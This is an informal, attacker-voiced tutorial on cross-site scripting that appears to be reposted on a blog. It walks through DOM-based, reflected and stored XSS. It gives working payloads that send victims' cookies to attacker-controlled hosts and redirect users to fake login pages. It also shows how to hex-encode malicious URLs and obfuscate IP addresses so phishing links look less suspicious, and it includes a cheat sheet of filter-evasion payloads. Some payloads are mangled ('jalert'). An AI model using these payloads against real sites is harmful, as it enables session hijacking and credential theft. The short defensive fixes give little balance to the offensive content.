[SUMMARY ]---------------------------------------------------------------------
0x01: Introduction
0x02: Origins
0x03: Types of XSS
\_ 0x03a: DOM-Based
\_ 0x03b: Non-Persistent
\_ 0x03c: Persistent
0x04: Appendix
---------------------------------------------------------------------------------
---[ 0x01: Introduction ]
Cross-site scripting (later commonly named
XSS to make difference from Cascading
Style Sheet) is a type of security vulnerability
that affects web applications
with not safely written code in not sanitized
input variables .
This kind of vulnerability allows an "attacker"
to inject some code into
the applications affected in order to bypass
access to the website or to apply
"phishing" on falls users (which is not
obviously our strict purpose )
As a matter of fact in vulnerables websites is
possible to execute HTML and
JavaScript codes from a not sanitized form,
which combined can be really
dangerous: it's possible to steal cookies or to
redirect webpages to builded
fake login in order to steal login usernames
and passwords.
This is commonly an underestimated problem
from websites masters, because actually
XSS cannot compromise actively the website
itself, but can only exploit ingenuous
users.
It will take time already to get webmasters
look out to this kinds of
vulnerabilities: meanwhile we evenly disfrute
them
-----------------------------------------------------------------------------
[/]
---[ 0x02: Origins ]
The name "Cross-Site Scripting" was conied by
Mark Slemko, the XSS pioneer,
and actually this name doesn't really reflect at
all the issues of this class of
vulnerability, and due to that he explained the
choice with the following answer:
"This issue isn't just about scripting, and there
isn't necessarily anything
cross-site about it. So why the name? It was
coined earlier on when the
problem was less understood, and it stuck.
Believe me, we have
had more important things to do than think of
a better name."
Touch?
By the way the name was early adopted, but
in the years it came useful to abbreviate
it to XSS in order to not confuse with
Cascading-Style Sheets and Content-Scrumble
Systems.
Starting from the Bugtraq community, the XSS
abbreviation became more and more
common as actually it is the "official"
reference to this vulnerability, and
obviously we will be conformed to this
tradiction
-----------------------------------------------------------------------------
[/]
---[ 0x03: Types of XSS ]
The term XSS is actually a bit elusive because
it includes differents kinds of
attacks that stands eachother on different
attacking mechanisms.
There are actually three types of Cross-Site
Scripting, commonly named as:
- DOM-Based XSS
- Non-persistent XSS
- Persistent XSS
Let's analize them one by one.
-----------------------------------------------------------------------------
[/]
------[ 0x03a: DOM-Based ]
The DOM-Based Cross-Site Scripting allow to
an attacker to work not on a victim
website but on a victim local machine: the
various operative system usually includes
"since born" some HTML pages created for
differents aims, but as long as the humans
do mistakes this HTML pages often can be
exploited due to code vulnerabilities.
The DOM-Based XSS exploits these problems
on users local machines in this way:
- The attacker creates a well builded malicious
website
- The ingenuous user opens that site
- The user has a vulnerable page on his
machine
- The attacker's website sends commands to
the vulnerable HTML page
- The vulnerable local page execute that
commands with the user's privileges
on that machine.
- The attacker easily gain control on the
victim computer.
As you can see it's quite simple practice, it's
just stands on brand new vulnerabilities
that comes out in the time, and there's never
lack
This kind of attack is really dangerous
because it operates on the victim system
strictly and as long as the user doesn't look
after his security issues and doesn't
apply updates, the DOM-Based XSS will work
fine.
Solution:
To prevent this kind of attacks there are only
two things to take care of:
- Doesn't visit untrusted website
- Keep your system up to date
-----------------------------------------------------------------------------
[/]
------[ 0x03b: Non-Persistent ]
The non-persistent XSS are actually the most
commons vulnerabilities that can
be found on the Net.
It's commonly named as "non-persistent"
because it works on an immediate HTTP
response from the victim website: it show up
when the webpage get the data provided
by the attacker's client to automatically
generate a result page for the attackers
himself.
Standing on this the attacker could provide
some malicious code and try to make
the server execute it in order to obtain some
result.
The most common applying of this kind of
vulnerability is in Search engines in
website: the attacker writes some arbitrary
HTML code in the search textbox and,
if the website is vulnerable, the result page
will return the result of these
HTML entities.
If this happens at 99% the Search engine will
execute also JavaScript arbitrary code.
For example assure that a website works like
this:
http://www.example.com/search.php?
text=TEXTTOSEARCH
Try to include some HTML tags in the "text"
variable:
http://www.example.com/search.php?
text=<img src="http://attacker.com/
image.jpg">
If the website is vulnerable it will display the
attacker's image into the result
webpage.
Try then to write some JavaScript code:
http:///www.example.com/search.php?
text=<script>alert(document.cookie)</script>
Probably the website will return an alert
popup with the current Cookie for the
site itself.
That's not good at all
As you will see the vulnerable website will
execute any JavaScript code you
want to be run: sometimes you can find that
the website make some filters on " "
and ' ', but that's not really a big problem for
us
This vulnerability can be used by the attacker
to steal informations to users
of the victim website providing them for
example an email with an URL like:
http://www.victim.com/search.php?
text=MALICIOUSCODE
To make that url less suspicious it will be
useful to encode the code in URL Hex value.
You can apply this tecnique using our
Playhack - Encoder service reachable at
http://encoder.playhack.net
(Beware that it's created for informational
purpose only ).
For example the code:
<script>alert("XSS")</script>
Encoded will look like:
%3C%73%63%72%69%70%74%3E%61%6C
%65%72%74%28%22%58%53%53%22%29%3B
%3C
%2F%73%63%72%69%70%74%3E
And as comes the malicious url will turn from:
http://www.victim.com/search.php?
text=&l...t>alert ("XSS")</script>
Into:
http://www.victim.com/search.php?text=
%3...2%74%28%22
%58%53%53%22%29%3B%3C%2F
%73%63%72%69%70%74%3E
Which, for a clueless user, it's lot less
suspicious than the first one.
Let's analize an example attack.
- The attacker realizes that the victim website
is vulnerable to XSS
- The attacker creates on his website an ad-
hoc page which is studied to steal
sensible informations like cookies or to make
a fake login of the victim website.
- The attacker provides to a user a crafted url
which contains a malicious
code like:
http://www.victim.com/search.php?text =
<script>document.location("http://
attackersite.com/fakelogin.php")</script>
Encoded in Hex.
- The user visits the webpage and is obscurely
redirect the attacker's fakelogin
- The user is invited to log into the system
and he does.
- The fakelogin steals the username and
password of the victim.
Solution:
The solution to this issue is simply to make a
check to the input code in the website
avoiding HTML tags or accepting alpha-
numerical characters only, with for example
codes like:
- Python: cgi.escape($code)
- PHP: eregi("[^a-zA-Z0-9_]", $code)
$code = htmlentities($code)
And many others.
-----------------------------------------------------------------------------
[/]
------[ 0x03c: Persistent ]
The persistent XSS vulnerabilities are similar
to the second type (Non-persistent XSS),
because both works on a victim site and tries
to hack users informations;
the difference is that in websites vulnerables
to Persistent XSS the attacker
doesn't need to provide the crafted url to the
users, because the website
itself permits to users to insert fixed data into
the system: this is the case
for example of "guestbooks" (what an awful
item !!)
Usually the users uses that kind of tool to
leave messages to the owned of the
website and at a first look it doesn't seems
something dangerous, but if an attacker
discover that the system is vulnerable can
insert some malicious code in his message
and let ALL visitors to be victim of that.
This works when the tool provided (the
guestbook in the example) doesn't do any
check
on the content of the inserted message: it just
inserts the data provided from the user
into the result page.
The attacker could easily insert as much code
as he wants into the tool, for example:
<img src="jdocument.location
('http://attacker.com/steal.php?cookie=' .
encodeURI(document.cookie));">
Which allow the attacker to steal the cookie of
the victim user.
This is just an example of lots of possible
injection that can be done in the
vulnerable site.
The Persistent XSS due to is fixed feature is
obviously more dangerous than
the others, because can easily affects lots of
users with an unique attack.
Solution:
The solution is the same of the Non-persistent
XSS.
-----------------------------------------------------------------------------
[/]
---[ 0x04: Appendix ]
In order to make the attack less suspicious it's
possible to "obfuscate" the IP
address of the attacker's website, encoding
the IP address with three formats:
- Dword Address
- Hex Address
- Octal Address
For example the ip address 127.0.0.1 will look
like:
- Dword: 2130706433
- Hex: 0x7f.0x00.0x00.0x01
- Octal: 0177.0000.0000.0001
Try for example:
http://0x7f.0x00.0x00.0x01/
And it will open your localhost webserver.
This tecnique is often used by XSS attacker
and in order to avoid to get caught
in attacker's trap, don't visit website that
doesn't contain a clear domain name
(and beware that is possible to fake that too
).
Here's a list of possible XSS cheats
<IMG SRC="jalert('XSS');">
<IMG SRC=jalert('XSS')>
<IMG
SRC="javascript
:alert('PLAYH
ACK.NET')">
<IMG SRC="jalert(String.fromCharCode
(88,83,83))">
<SCRIPT/XSS SRC="http://example.com/
xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/
scriptlet.html <
<INPUT TYPE="IMAGE" SRC="jalert('XSS');">
<BODY BACKGROUND="jalert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<IMG DYNSRC="jalert('XSS')">
<IMG DYNSRC="jalert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="jalert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(jalert
('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</
STYLE>
<STYLE type="text/css">BODY{background:url
("jalert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="jdocument.location='http://
www.example.com/'">XSS</A>
-----------------------------------------------------------------------------
[/]
\======================================
[EOF]=====================================/
# Anonymous_KnW
Cookie Stealing:
<script>window.location=?http://127.0.0.1/
stealing.php?cookie=?+document.cookie</
script>
THANX FOR READING!!!!!!!!
0 comments:
Post a Comment